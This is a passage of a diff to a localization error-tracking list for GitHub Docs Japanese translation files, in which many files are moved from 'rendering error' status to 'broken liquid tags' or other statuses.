-translations/ja-JP/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md,rendering error
-translations/ja-JP/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md,rendering error
-translations/ja-JP/content/communities/documenting-your-project-with-wikis/index.md,rendering error
-translations/ja-JP/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md,rendering error
-translations/ja-JP/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md,rendering error
-translations/ja-JP/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md,rendering error
-translations/ja-JP/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md,rendering error
-translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md,rendering error
+translations/ja-JP/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md,broken liquid tags
+translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,broken liquid tags
+translations/ja-JP/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md,broken liquid tags
 translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md,Listed in localization-support#489
-translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md,rendering error
-translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/index.md,rendering error
-translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md,rendering error
-translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md,rendering error
-translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md,rendering error
-translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md,rendering error
-translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md,rendering error
-translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md,rendering error
-translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md,rendering error
-translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md,rendering error
-translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md,rendering error
-translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md,rendering error
-translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md,rendering error
-translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md,rendering error
-translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md,rendering error
-translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md,rendering error
-translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md,rendering error
-translations/ja-JP/content/developers/apps/building-github-apps/authenticating-with-github-apps.md,rendering error
-translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md,rendering error
-translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md,rendering error
-translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app.md,rendering error
-translations/ja-JP/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md,rendering error
-translations/ja-JP/content/developers/apps/building-github-apps/index.md,rendering error
-translations/ja-JP/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md,rendering error
-translations/ja-JP/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md,rendering error
-translations/ja-JP/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md,rendering error
-translations/ja-JP/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md,rendering error
-translations/ja-JP/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md,rendering error
-translations/ja-JP/content/developers/apps/building-oauth-apps/index.md,rendering error
-translations/ja-JP/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md,rendering error
-translations/ja-JP/content/developers/apps/getting-started-with-apps/about-apps.md,rendering error
-translations/ja-JP/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md,rendering error
-translations/ja-JP/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md,rendering error
-translations/ja-JP/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md,rendering error
-translations/ja-JP/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md,rendering error
-translations/ja-JP/content/developers/apps/guides/using-content-attachments.md,rendering error
-translations/ja-JP/content/developers/apps/guides/using-the-github-api-in-your-app.md,rendering error
-translations/ja-JP/content/developers/apps/index.md,rendering error
-translations/ja-JP/content/developers/apps/managing-github-apps/deleting-a-github-app.md,rendering error
-translations/ja-JP/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md,rendering error
-translations/ja-JP/content/developers/apps/managing-github-apps/index.md,rendering error
-translations/ja-JP/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md,rendering error
-translations/ja-JP/content/developers/apps/managing-github-apps/modifying-a-github-app.md,rendering error
-translations/ja-JP/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md,rendering error
-translations/ja-JP/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md,rendering error
-translations/ja-JP/content/developers/apps/managing-oauth-apps/index.md,rendering error
-translations/ja-JP/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md,rendering error
-translations/ja-JP/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md,rendering error
-translations/ja-JP/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md,rendering error
-translations/ja-JP/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/index.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/index.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md,rendering error
-translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md,rendering error
-translations/ja-JP/content/developers/overview/managing-deploy-keys.md,rendering error
-translations/ja-JP/content/developers/overview/replacing-github-services.md,rendering error
-translations/ja-JP/content/developers/overview/secret-scanning-partner-program.md,rendering error
-translations/ja-JP/content/developers/overview/using-ssh-agent-forwarding.md,rendering error
-translations/ja-JP/content/developers/webhooks-and-events/events/issue-event-types.md,rendering error
-translations/ja-JP/content/developers/webhooks-and-events/webhooks/about-webhooks.md,rendering error
-translations/ja-JP/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md,rendering error
-translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md,rendering error
-translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md,rendering error
-translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md,rendering error
-translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md,rendering error
-translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md,rendering error
-translations/ja-JP/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md,rendering error
-translations/ja-JP/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md,rendering error
-translations/ja-JP/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md,rendering error
-translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md,rendering error
-translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md,rendering error
-translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md,rendering error
-translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md,rendering error
-translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md,rendering error
-translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md,rendering error
-translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md,rendering error
-translations/ja-JP/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md,rendering error
-translations/ja-JP/content/get-started/exploring-projects-on-github/index.md,rendering error
-translations/ja-JP/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md,rendering error
-translations/ja-JP/content/get-started/getting-started-with-git/about-remote-repositories.md,rendering error
-translations/ja-JP/content/get-started/getting-started-with-git/associating-text-editors-with-git.md,rendering error
-translations/ja-JP/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md,rendering error
-translations/ja-JP/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md,rendering error
-translations/ja-JP/content/get-started/getting-started-with-git/git-workflows.md,rendering error
-translations/ja-JP/content/get-started/getting-started-with-git/ignoring-files.md,rendering error
-translations/ja-JP/content/get-started/getting-started-with-git/managing-remote-repositories.md,rendering error
-translations/ja-JP/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md,rendering error
-translations/ja-JP/content/get-started/index.md,rendering error
+translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md,broken liquid tags
+translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md,broken liquid tags
+translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md,broken liquid tags
+translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md,broken liquid tags
+translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md,broken liquid tags
+translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md,broken liquid tags
+translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md,broken liquid tags
+translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md,broken liquid tags
+translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md,broken liquid tags
+translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md,broken liquid tags
+translations/ja-JP/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md,broken liquid tags
+translations/ja-JP/content/developers/apps/getting-started-with-apps/about-apps.md,broken liquid tags
+translations/ja-JP/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md,broken liquid tags
+translations/ja-JP/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md,broken liquid tags
+translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md,broken liquid tags
+translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/index.md,broken liquid tags
+translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md,broken liquid tags
+translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md,broken liquid tags
+translations/ja-JP/content/developers/overview/secret-scanning-partner-program.md,broken liquid tags
+translations/ja-JP/content/developers/webhooks-and-events/webhooks/about-webhooks.md,broken liquid tags
+translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md,broken liquid tags
+translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md,broken liquid tags
+translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md,broken liquid tags
+translations/ja-JP/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md,broken liquid tags
+translations/ja-JP/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md,broken liquid tags
+translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md,broken liquid tags
+translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md,broken liquid tags
+translations/ja-JP/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md,broken liquid tags
 translations/ja-JP/content/get-started/learning-about-github/about-github-advanced-security.md,Listed in localization-support#489
 translations/ja-JP/content/get-started/learning-about-github/about-github-advanced-security.md,parsing error
-translations/ja-JP/content/get-started/learning-about-github/about-github-advanced-security.md,rendering error
-translations/ja-JP/content/get-started/learning-about-github/about-versions-of-github-docs.md,rendering error
-translations/ja-JP/content/get-started/learning-about-github/access-permissions-on-github.md,rendering error
-translations/ja-JP/content/get-started/learning-about-github/githubs-products.md,rendering error
-translations/ja-JP/content/get-started/learning-about-github/index.md,rendering error
-translations/ja-JP/content/get-started/learning-about-github/types-of-github-accounts.md,rendering error
-translations/ja-JP/content/get-started/onboarding/getting-started-with-github-ae.md,rendering error
-translations/ja-JP/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md,rendering error
-translations/ja-JP/content/get-started/onboarding/getting-started-with-github-enterprise-server.md,rendering error
-translations/ja-JP/content/get-started/onboarding/getting-started-with-github-team.md,rendering error
-translations/ja-JP/content/get-started/onboarding/getting-started-with-your-github-account.md,rendering error
-translations/ja-JP/content/get-started/quickstart/be-social.md,rendering error
-translations/ja-JP/content/get-started/quickstart/communicating-on-github.md,rendering error
-translations/ja-JP/content/get-started/quickstart/create-a-repo.md,rendering error
-translations/ja-JP/content/get-started/quickstart/fork-a-repo.md,rendering error
-translations/ja-JP/content/get-started/quickstart/git-and-github-learning-resources.md,rendering error
-translations/ja-JP/content/get-started/quickstart/github-flow.md,rendering error
-translations/ja-JP/content/get-started/quickstart/index.md,rendering error
-translations/ja-JP/content/get-started/quickstart/set-up-git.md,rendering error
-translations/ja-JP/content/get-started/signing-up-for-github/index.md,rendering error
-translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md,rendering error
-translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md,rendering error
-translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md,rendering error
-translations/ja-JP/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md,rendering error
-translations/ja-JP/content/get-started/signing-up-for-github/verifying-your-email-address.md,rendering error
-translations/ja-JP/content/get-started/using-git/about-git-rebase.md,rendering error
-translations/ja-JP/content/get-started/using-git/about-git-subtree-merges.md,rendering error
-translations/ja-JP/content/get-started/using-git/about-git.md,rendering error
-translations/ja-JP/content/get-started/using-git/getting-changes-from-a-remote-repository.md,rendering error
-translations/ja-JP/content/get-started/using-git/index.md,rendering error
-translations/ja-JP/content/get-started/using-git/pushing-commits-to-a-remote-repository.md,rendering error
-translations/ja-JP/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md,rendering error
-translations/ja-JP/content/get-started/using-git/using-git-rebase-on-the-command-line.md,rendering error
-translations/ja-JP/content/get-started/using-github/github-mobile.md,rendering error
-translations/ja-JP/content/get-started/using-github/index.md,rendering error
-translations/ja-JP/content/get-started/using-github/keyboard-shortcuts.md,rendering error
-translations/ja-JP/content/get-started/using-github/supported-browsers.md,rendering error
-translations/ja-JP/content/github-cli/github-cli/creating-github-cli-extensions.md,rendering error
-translations/ja-JP/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md,rendering error
-translations/ja-JP/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md,rendering error
-translations/ja-JP/content/github/extending-github/about-webhooks.md,rendering error
-translations/ja-JP/content/github/extending-github/git-automation-with-oauth-tokens.md,rendering error
-translations/ja-JP/content/github/extending-github/index.md,rendering error
-translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md,rendering error
-translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md,rendering error
-translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md,rendering error
-translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md,rendering error
-translations/ja-JP/content/github/importing-your-projects-to-github/index.md,rendering error
-translations/ja-JP/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md,rendering error
-translations/ja-JP/content/github/index.md,rendering error
-translations/ja-JP/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md,rendering error
-translations/ja-JP/content/github/site-policy/dmca-takedown-policy.md,rendering error
-translations/ja-JP/content/github/site-policy/github-community-guidelines.md,rendering error
-translations/ja-JP/content/github/site-policy/github-logo-policy.md,rendering error
-translations/ja-JP/content/github/site-policy/github-privacy-statement.md,rendering error
-translations/ja-JP/content/github/site-policy/github-subprocessors-and-cookies.md,rendering error
-translations/ja-JP/content/github/site-policy/github-terms-for-additional-products-and-features.md,rendering error
-translations/ja-JP/content/github/site-policy/github-terms-of-service.md,rendering error
-translations/ja-JP/content/github/site-policy/github-username-policy.md,rendering error
-translations/ja-JP/content/github/site-policy/global-privacy-practices.md,rendering error
-translations/ja-JP/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md,rendering error
-translations/ja-JP/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md,rendering error
-translations/ja-JP/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md,rendering error
-translations/ja-JP/content/github/site-policy/index.md,rendering error
-translations/ja-JP/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md,rendering error
-translations/ja-JP/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md,rendering error
-translations/ja-JP/content/github/working-with-github-support/github-enterprise-cloud-support.md,rendering error
-translations/ja-JP/content/github/working-with-github-support/submitting-a-ticket.md,rendering error
-translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md,rendering error
-translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md,rendering error
-translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md,rendering error
-translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md,rendering error
-translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,rendering error
-translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md,rendering error
-translations/ja-JP/content/github/writing-on-github/index.md,rendering error
-translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md,rendering error
-translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md,rendering error
-translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/index.md,rendering error
-translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md,rendering error
-translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md,rendering error
-translations/ja-JP/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md,rendering error
-translations/ja-JP/content/graphql/guides/index.md,rendering error
-translations/ja-JP/content/graphql/guides/managing-enterprise-accounts.md,rendering error
-translations/ja-JP/content/graphql/guides/migrating-graphql-global-node-ids.md,rendering error
-translations/ja-JP/content/graphql/index.md,rendering error
-translations/ja-JP/content/graphql/reference/mutations.md,rendering error
-translations/ja-JP/content/issues/guides.md,rendering error
-translations/ja-JP/content/issues/index.md,rendering error
-translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md,rendering error
-translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md,rendering error
-translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md,rendering error
-translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md,rendering error
-translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md,rendering error
-translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md,rendering error
-translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md,rendering error
-translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md,rendering error
-translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md,rendering error
-translations/ja-JP/content/issues/tracking-your-work-with-issues/about-issues.md,rendering error
-translations/ja-JP/content/issues/tracking-your-work-with-issues/creating-an-issue.md,rendering error
-translations/ja-JP/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md,rendering error
-translations/ja-JP/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md,rendering error
-translations/ja-JP/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md,rendering error
-translations/ja-JP/content/issues/trying-out-the-new-projects-experience/creating-a-project.md,rendering error
-translations/ja-JP/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md,rendering error
-translations/ja-JP/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md,rendering error
-translations/ja-JP/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md,rendering error
-translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md,rendering error
-translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md,rendering error
-translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md,rendering error
-translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md,rendering error
-translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md,rendering error
-translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md,rendering error
-translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/index.md,rendering error
+translations/ja-JP/content/get-started/quickstart/git-and-github-learning-resources.md,broken liquid tags
+translations/ja-JP/content/get-started/using-github/github-mobile.md,broken liquid tags
+translations/ja-JP/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md,broken liquid tags
+translations/ja-JP/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md,broken liquid tags
+translations/ja-JP/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md,broken liquid tags
+translations/ja-JP/content/github/working-with-github-support/github-enterprise-cloud-support.md,broken liquid tags
+translations/ja-JP/content/github/working-with-github-support/submitting-a-ticket.md,broken liquid tags
+translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md,broken liquid tags
+translations/ja-JP/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md,broken liquid tags
 translations/ja-JP/content/organizations/collaborating-with-your-team/about-team-discussions.md,Listed in localization-support#489
-translations/ja-JP/content/organizations/collaborating-with-your-team/about-team-discussions.md,rendering error
-translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md,rendering error
-translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md,rendering error
-translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md,rendering error
-translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md,rendering error
-translations/ja-JP/content/organizations/index.md,rendering error
-translations/ja-JP/content/organizations/keeping-your-organization-secure/index.md,rendering error
-translations/ja-JP/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md,rendering error
-translations/ja-JP/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md,rendering error
-translations/ja-JP/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md,rendering error
 translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,Listed in localization-support#489
-translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/index.md,rendering error
-translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md,rendering error
-translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md,rendering error
-translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-git-access-to-your-organizations-repositories/index.md,rendering error
-translations/ja-JP/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-membership-in-your-organization/index.md,rendering error
-translations/ja-JP/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-organization-settings/renaming-an-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md,rendering error
-translations/ja-JP/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md,rendering error
-translations/ja-JP/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md,rendering error
